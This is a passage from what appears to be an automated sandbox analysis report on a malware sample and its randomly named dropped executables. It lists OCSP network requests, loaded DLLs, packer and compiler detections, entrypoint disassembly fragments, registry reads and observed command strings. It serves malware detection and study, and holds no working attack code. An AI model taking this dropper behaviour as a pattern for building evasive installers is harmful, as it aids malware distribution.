ocsp.rootg2.amazontrust.com" Response ==> HTTP/1.1 200 OK Content-Type: application/ocsp-response Content-Length: 1560 Connection: keep-alive Date: Mon 17 Aug 2026 07:51:55 GMT x-amzn-RequestId: 1087fa43-3b64-41fb-a3d4-ec2be3343ba9 Last-Modified: Mon 17 Aug 2026 07:50:59 GMT Cache-Control: max-age=302400 public no-transform must-revalidate Expires: Mon 24 Aug 2026 06:50:59 GMT ETag: 0f8d7197fc6bda7c858e26bc7f124632e7328685 X-Cache: Hit from cloudfront Via: 1.1 11dc656256a9e3605d13b295a4958aa8.cloudfront.net (CloudFront) X-Amz-Cf-Pop: ORD56-P15 X-Amz-Cf-Id: 8SmLAXIr7LE8pFwM9JwK_skym0uc4uxL3RB4H4t1PyNEzWgGM01dfQ== Age: 70 with response body ==>30C28206140A0100C2A0C282060D30C282060906092B060105050730010104C28205C3BA30C28205C3B630C281C3A1C2A1563054310B30090603550406130255....... "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPWaOUU8%2B5VZ5%2Fa9jFTaU9pkK3FAQUhBjMhTTsvAyUlC4IWZzHshBOCggCEwdzEk8qlS4%2B0YpYvbhdG8DOXyc%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.rootca1.amazontrust.com" Response ==> HTTP/1.1 200 OK Content-Type: application/ocsp-response Content-Length: 1438 Connection: keep-alive Date: Mon 17 Aug 2026 06:56:41 GMT x-amzn-RequestId: 3fca28ad-a783-420c-8fbb-28462edee20b Last-Modified: Mon 17 Aug 2026 06:56:39 GMT Cache-Control: max-age=302400 public no-transform must-revalidate Expires: Mon 24 Aug 2026 05:56:39 GMT ETag: 9dae959c70c34e12d751c6f22775c5c7b54ce9a1 X-Cache: Hit from cloudfront Via: 1.1 035d65c907e13685da3ec5fa72be633a.cloudfront.net (CloudFront) X-Amz-Cf-Pop: ORD56-P15 X-Amz-Cf-Id: DBYYlX3fLZBuIaXj_uoY58cLkwOzg0DrgJpMaVNxC_w9rips7zcEzQ== Age: 3385 with response body ==>30C28205C29A0A0100C2A0C28205C29330C28205C28F06092B060105050730010104C28205C28030C282057C30C281C394C2A1493047310B3009060355040613....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTihuFvpmFDw5hOcIp918Jm5B3CQgQUH1KSYVaCVH%2BBZtgdPQqqMlyH3QgCEA3N2p7AWhpIo7uTRZjDirs%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.r2m04.amazontrust.com" Response ==> HTTP/1.1 200 OK Content-Type: application/ocsp-response Content-Length: 471 Connection: keep-alive Cache-Control: max-age=1800 Date: Mon 17 Aug 2026 07:47:34 GMT X-Cache: Hit from cloudfront Via: 1.1 c8cdc9fbc50901560b8834415670070e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: ORD58-P15 X-Amz-Cf-Id: LRS_d7GirIWoYyKKd2dnq-ZRuIiganiXKFdSEPOHpoLnL0iuXDz5SQ== Age: 333 with response body ==>30C28201C3930A0100C2A0C28201C38C30C28201C38806092B060105050730010104C28201C2B930C28201C2B530C281C29EC2A21604141F52C2926156C28254.......4a:T21dc,"16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 72210000 "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74ea0000 "ca8Oc89.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 69f60000 "ca8Oc89.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74ea0000 "JA0VX88.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 69d10000 "JA0VX88.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74ea0000 "CF3Mr43.exe" loaded module "FECLIENT.DLL" at base 728b0000 "CF3Mr43.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 71cc0000 "CF3Mr43.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74ea0000 "1SX49Ye8.exe" loaded module "KERNEL32.DLL" at base 759a0000 "1SX49Ye8.exe" loaded module "DWMAPI.DLL" at base 73880000 "1SX49Ye8.exe" loaded module "COMCTL32.DLL" at base 73ef0000 "1SX49Ye8.exe" loaded module "UXTHEME.DLL" at base 73d40000 "1SX49Ye8.exe" loaded module "IMM32.DLL" at base 75d30000 "1SX49Ye8.exe" loaded module "COMCTL32" at base 73ef0000 "1SX49Ye8.exe" loaded module "SHELL32.DLL" at base 75d60000 "1SX49Ye8.exe" loaded module "OLE32.DLL" at base 76ac0000 "1SX49Ye8.exe" loaded module "ADVAPI32.DLL" at base 76ea0000 "1SX49Ye8.exe" loaded module "PROPSYS.DLL" at base 73d80000 "1SX49Ye8.exe" loaded module "OLEAUT32.DLL" at base 76a20000 "1SX49Ye8.exe" loaded module "APPHELP.DLL" at base 74ea0000 "1SX49Ye8.exe" loaded module "CLBCATQ.DLL" at base 77270000 "1SX49Ye8.exe" loaded module "%WINDIR%\SYSTEM32\IEFRAME.DLL" at base 6a5c0000 "1SX49Ye8.exe" loaded module "API-MS-WIN-DOWNLEVEL-OLE32-L1-1-0.DLL" at base 750e0000 "1SX49Ye8.exe" loaded module "URLMON.DLL" at base 76d50000 "1SX49Ye8.exe" loaded module "API-MS-WIN-DOWNLEVEL-SHLWAPI-L2-1-0.DLL" at base 729d0000 "1SX49Ye8.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 73d80000 "1SX49Ye8.exe" loaded module "%PROGRAMFILES%\INTERNET EXPLORER\IEPROXY.DLL" at base 729e0000 "1SX49Ye8.exe" loaded module "IERTUTIL.DLL" at base 75700000 "1SX49Ye8.exe" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 75d60000 "1SX49Ye8.exe" loaded module "USER32.DLL" at base 75440000 "1SX49Ye8.exe" loaded module "SETUPAPI.DLL" at base 76f50000 "1SX49Ye8.exe" loaded module "RPCRT4.DLL" at base 76c70000 "1SX49Ye8.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74ea0000 "2QO3391.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74ea0000 "8Cg883Yu.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 71be0000 "8Cg883Yu.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74ea0000 "AppLaunch.exe" loaded module "PSAPI.DLL" at base 75d50000 "AppLaunch.exe" loaded module "RPCRT4.DLL" at base 76c70000 "AppLaunch.exe" loaded module "KERNEL32.DLL" at base 759a0000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 61710000 "AppLaunch.exe" loaded module "OLE32.DLL" at base 76ac0000 "AppLaunch.exe" loaded module "CRYPTBASE.DLL" at base 74ef0000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73d40000 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 6ca40000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 67cc0000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 60cb0000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.DRAWING\F7568D7F1B9D356F64779B4C0927CFB3\SYSTEM.DRAWING.NI.DLL" at base 60b00000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.WINDOWS.FORMS\C9A4CBC00F690A9E3CDDFC400F6E85BB\SYSTEM.WINDOWS.FORMS.NI.DLL" at base 5fc90000 "AppLaunch.exe" loaded module "ADVAPI32.DLL" at base 76ea0000 "AppLaunch.exe" loaded module "UXTHEME.DLL" at base 73d40000 "AppLaunch.exe" loaded module "USER32.DLL" at base 75440000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CORE\31FAE3290FAD30C31C98651462D22724\SYSTEM.CORE.NI.DLL" at base 5f470000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CONFIGURATION\96F7EDB07B12303F0EC2595C7F3778C7\SYSTEM.CONFIGURATION.NI.DLL" at base 5f360000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.XML\15AF16D373CF0528CB74FC73D365FDBF\SYSTEM.XML.NI.DLL" at base 5ebe0000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\NLSSORTING.DLL" at base 6c970000 "AppLaunch.exe" loaded module "NTDLL.DLL" at base 770f0000 "AppLaunch.exe" loaded module "SHELL32.DLL" at base 75d60000 "AppLaunch.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 769b0000 "AppLaunch.exe" loaded module "PROFAPI.DLL" at base 75010000 "AppLaunch.exe" loaded module "BCRYPT.DLL" at base 74b10000 "AppLaunch.exe" loaded module "CRYPTSP.DLL" at base 74a00000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 74790000 "AppLaunch.exe" loaded module "IMM32.DLL" at base 75d30000 "AppLaunch.exe" loaded module "COMCTL32.DLL" at base 717a0000 "AppLaunch.exe" loaded module "GDI32.DLL" at base 76c20000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\WINDOWSBASE\1A4CC316FB6D09525321FC0BE44692D8\WINDOWSBASE.NI.DLL" at base 5e7c0000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\PRESENTATIONCORE\468F4E17BE144CA12A73A4297EACC9CC\PRESENTATIONCORE.NI.DLL" at base 5db80000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\PRESENTATIO5AE0F00F#\252CC7B0FAE8CFE083BDC149957C0C54\PRESENTATIONFRAMEWORK.NI.DLL" at base 5c790000 "AppLaunch.exe" loaded module "UCRTBASE_CLR0400.DLL" at base 69910000 "AppLaunch.exe" loaded module "SHLWAPI.DLL" at base 75940000 "AppLaunch.exe" loaded module "DWRITE.DLL" at base 68210000 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 75160000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\WPF\WPFGFX_V0400.DLL" at base 5c600000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\WPF\PRESENTATIONNATIVE_V0400.DLL" at base 5c510000 "AppLaunch.exe" loaded module "VERSION.DLL" at base 74490000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.RUNTEB92AA12#\274E43040C8A7A02EF1065DB3283005A\SYSTEM.RUNTIME.SERIALIZATION.NI.DLL" at base 5c230000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.IDENTITYMODEL\C2EF5BC545B98A289F02D0B3EDDBE280\SYSTEM.IDENTITYMODEL.NI.DLL" at base 5bf20000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SMDIAGNOSTICS\DC67DCB4B2FB4A3853D458CAB08561F0\SMDIAGNOSTICS.NI.DLL" at base 6bd00000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.TRANSACTIONS\3D760B4A3260A41EF84A3FD866780980\SYSTEM.TRANSACTIONS.NI.DLL" at base 5b810000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 6b3e0000 "AppLaunch.exe" loaded module "MSCOREE.DLL" at base 6b520000 "AppLaunch.exe" loaded module "WS2_32.DLL" at base 77300000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 749c0000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\WSHTCPIP.DLL" at base 74520000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\WSHIP6.DLL" at base 749b0000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\DIASYMREADER.DLL" at base 5b6b0000 "9zc6iD1.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74ea0000 "AppLaunch.exe" loaded module "SSPICLI.DLL" at base 74e80000 "AppLaunch.exe" loaded module "CREDSSP.DLL" at base 746c0000 "AppLaunch.exe" loaded module "WSHTCPIP" at base 74520000 "AppLaunch.exe" loaded module "WSHIP6.DLL" at base 749b0000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\WSHQOS.DLL" at base 71790000 "AppLaunch.exe" loaded module "DNSAPI.DLL" at base 74880000 "AppLaunch.exe" loaded module "IPHLPAPI.DLL" at base 73360000 "AppLaunch.exe" loaded module "RASADHLP.DLL" at base 71660000 "AppLaunch.exe" loaded module "WINHTTP.DLL" at base 71210000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 732d0000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\SCHANNEL.DLL" at base 74800000 "AppLaunch.exe" loaded module "CRYPT32.DLL" at base 751b00004b:Te37,"16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526" was detected as "Microsoft Cabinet" and name: "sfx" "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526" was detected as "Microsoft Visual C/C++" and name: "Compiler" "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526" was detected as "Microsoft Cabinet File" and name: "Archive" "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526" was detected as "Microsoft Linker" and name: "Linker" "ca8Oc89.exe" was detected as "Microsoft Cabinet" and name: "sfx" "ca8Oc89.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "ca8Oc89.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "ca8Oc89.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "ca8Oc89.exe" was detected as "Microsoft Linker" and name: "Linker" "1SX49Ye8.exe" was detected as "Microsoft Cabinet" and name: "sfx" "1SX49Ye8.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "1SX49Ye8.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "1SX49Ye8.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "1SX49Ye8.exe" was detected as "Microsoft Linker" and name: "Linker" "JA0VX88.exe" was detected as "Microsoft Cabinet" and name: "sfx" "JA0VX88.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "JA0VX88.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "JA0VX88.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "JA0VX88.exe" was detected as "Microsoft Linker" and name: "Linker" "CF3Mr43.exe" was detected as "Microsoft Cabinet" and name: "sfx" "CF3Mr43.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "CF3Mr43.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "CF3Mr43.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "CF3Mr43.exe" was detected as "Microsoft Linker" and name: "Linker" "9zc6iD1.exe" was detected as "Microsoft Cabinet" and name: "sfx" "9zc6iD1.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "9zc6iD1.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "9zc6iD1.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "9zc6iD1.exe" was detected as "Microsoft Linker" and name: "Linker" "8Cg883Yu.exe" was detected as "Microsoft Cabinet" and name: "sfx" "8Cg883Yu.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "8Cg883Yu.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "8Cg883Yu.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "8Cg883Yu.exe" was detected as "Microsoft Linker" and name: "Linker" "2QO3391.exe" was detected as "Microsoft Cabinet" and name: "sfx" "2QO3391.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "2QO3391.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "2QO3391.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "2QO3391.exe" was detected as "Microsoft Linker" and name: "Linker" "7xN51gn.exe" was detected as "Microsoft Cabinet" and name: "sfx" "7xN51gn.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "7xN51gn.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "7xN51gn.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "7xN51gn.exe" was detected as "Microsoft Linker" and name: "Linker"4c:T1529,"16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "ca8Oc89.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "1SX49Ye8.exe" file has an entrypoint instructions - "call 0x420aea,jmp 0x4203fb,push ebp,mov ebp, esp,push esi,push dword ptr [ebp + 8],mov esi, ecx,call 0x4205e7,mov dword ptr [esi], 0x49fdf0,mov eax, esi,pop esi,pop ebp,ret 4,and dword ptr [ecx + 4], 0,mov eax, ecx,and dword ptr [ecx + 8], 0,mov dword ptr [ecx + 4], 0x49fdf8,mov dword ptr [ecx], 0x49fdf0,ret ,push ebp,mov ebp, esp,push esi,push dword ptr [ebp + 8],mov esi, ecx,call 0x4205e7,mov dword ptr [esi], 0x49fe0c,mov eax, esi,pop esi,pop ebp,ret 4,and dword ptr [ecx + 4], 0,mov eax, ecx,and dword ptr [ecx + 8], 0," "JA0VX88.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "CF3Mr43.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "9zc6iD1.exe" file has an entrypoint instructions - "call 0x402aae,jmp 0x402450,mov ecx, dword ptr [ebp - 0xc],mov dword ptr fs:[0], ecx,pop ecx,pop edi,pop edi,pop esi,pop ebx,mov esp, ebp,pop ebp,push ecx,ret ,mov ecx, dword ptr [ebp - 0x10],xor ecx, ebp,call 0x40231c,jmp 0x4025dc,push eax,push dword ptr fs:[0],lea eax, [esp + 0xc],sub esp, dword ptr [esp + 0xc],push ebx,push esi,push edi,mov dword ptr [eax], ebp,mov ebp, eax,mov eax, dword ptr [0x41800c],xor eax, ebp,push eax,push dword ptr [ebp - 4],mov dword ptr [ebp - 4], 0xffffffff,lea eax, [ebp - 0xc],mov dword ptr fs:[0], eax,ret ,push eax," "8Cg883Yu.exe" file has an entrypoint instructions - "call 0x402aae,jmp 0x402450,mov ecx, dword ptr [ebp - 0xc],mov dword ptr fs:[0], ecx,pop ecx,pop edi,pop edi,pop esi,pop ebx,mov esp, ebp,pop ebp,push ecx,ret ,mov ecx, dword ptr [ebp - 0x10],xor ecx, ebp,call 0x40231c,jmp 0x4025dc,push eax,push dword ptr fs:[0],lea eax, [esp + 0xc],sub esp, dword ptr [esp + 0xc],push ebx,push esi,push edi,mov dword ptr [eax], ebp,mov ebp, eax,mov eax, dword ptr [0x41800c],xor eax, ebp,push eax,push dword ptr [ebp - 4],mov dword ptr [ebp - 4], 0xffffffff,lea eax, [ebp - 0xc],mov dword ptr fs:[0], eax,ret ,push eax," "2QO3391.exe" file has an entrypoint instructions - "call 0x402aae,jmp 0x402450,mov ecx, dword ptr [ebp - 0xc],mov dword ptr fs:[0], ecx,pop ecx,pop edi,pop edi,pop esi,pop ebx,mov esp, ebp,pop ebp,push ecx,ret ,mov ecx, dword ptr [ebp - 0x10],xor ecx, ebp,call 0x40231c,jmp 0x4025dc,push eax,push dword ptr fs:[0],lea eax, [esp + 0xc],sub esp, dword ptr [esp + 0xc],push ebx,push esi,push edi,mov dword ptr [eax], ebp,mov ebp, eax,mov eax, dword ptr [0x41800c],xor eax, ebp,push eax,push dword ptr [ebp - 4],mov dword ptr [ebp - 4], 0xffffffff,lea eax, [ebp - 0xc],mov dword ptr fs:[0], eax,ret ,push eax," "7xN51gn.exe" file has an entrypoint instructions - "call 0x403286,jne 0x40328c,je 0x40328c,jge 0x403298,pop ebx,jmp 0x403299,rol byte ptr [ecx + 0x3286eb], 0,jmp 0x40329d,mov byte ptr [0xa2c0f5eb], al,je 0x4032a7,jne 0x4032a7,xchg esp, eax,mov cl, 0x20,fxch st(4),mov esp, 0x575306a,je 0x4032b0,push edi,lodsb al, byte ptr [esi],sub dword ptr [ebx + 0x548b04c4], eax,and al, 0xfc,jmp 0x4032bf,les ebp, ptr [ecx],shr bl, 5,sub bl, 0xf9,les eax, ptr [eax - 0x4f7ffa15],fsub qword ptr [edi - 0x3d],add eax, dword ptr fs:[edx],je 0x4032d5,jne 0x4032d5,out dx, al,push ds,fcmovne st(0), st(1),push dword ptr [eax + 0xa4],jne 0x4032e2,je 0x4032e2,sub edx, -0x62,add esp, 4,"4d:T732,"16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "ca8Oc89.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "ca8Oc89.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "JA0VX88.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "JA0VX88.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "CF3Mr43.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "CF3Mr43.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "1SX49Ye8.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "1SX49Ye8.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "1SX49Ye8.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "2QO3391.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "2QO3391.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "7xN51gn.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "7xN51gn.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "8Cg883Yu.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "8Cg883Yu.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "9zc6iD1.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "9zc6iD1.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US")4e:T109f,Observed system executable string:"C:\Windows\system32\apphelp.dll" [Source: 00005792.000016A0.591401.00050000.wprm] Observed system executable string:"%WINDIR%\system32\advpack.dll" [Source: 00000000-00005716-00000C2B-193794823] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP000.TMP\"" [Source: 00000000-00005716-00000BC1-193931511] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP001.TMP\"" [Source: 00000000-00005632-00000BC1-194590115] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP002.TMP\"" [Source: 00000000-00005852-00000BC1-195233415] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP003.TMP\"" [Source: 00000000-00005792-00000BC1-196020650] Observed system executable string:"%WINDIR%\System32\ieframe.dll" [Source: 00000000-00005628-00000C2B-199035013] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll" [Source: 00000000-00003236-00000C2B-242138673] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" [Source: 00000000-00003236-00000C2B-242161590] Observed system executable string:"%WINDIR%\system32\uxtheme.dll" [Source: 00000000-00003236-00000C2B-242204556] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll" [Source: 00000000-00003236-00000C2B-242311886] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll" [Source: 00000000-00003236-00000C2B-242393572] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Drawing\f7568d7f1b9d356f64779b4c0927cfb3\System.Drawing.ni.dll" [Source: 00000000-00003236-00000C2B-242423871] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms\c9a4cbc00f690a9e3cddfc400f6e85bb\System.Windows.Forms.ni.dll" [Source: 00000000-00003236-00000C2B-242478068] Observed system executable 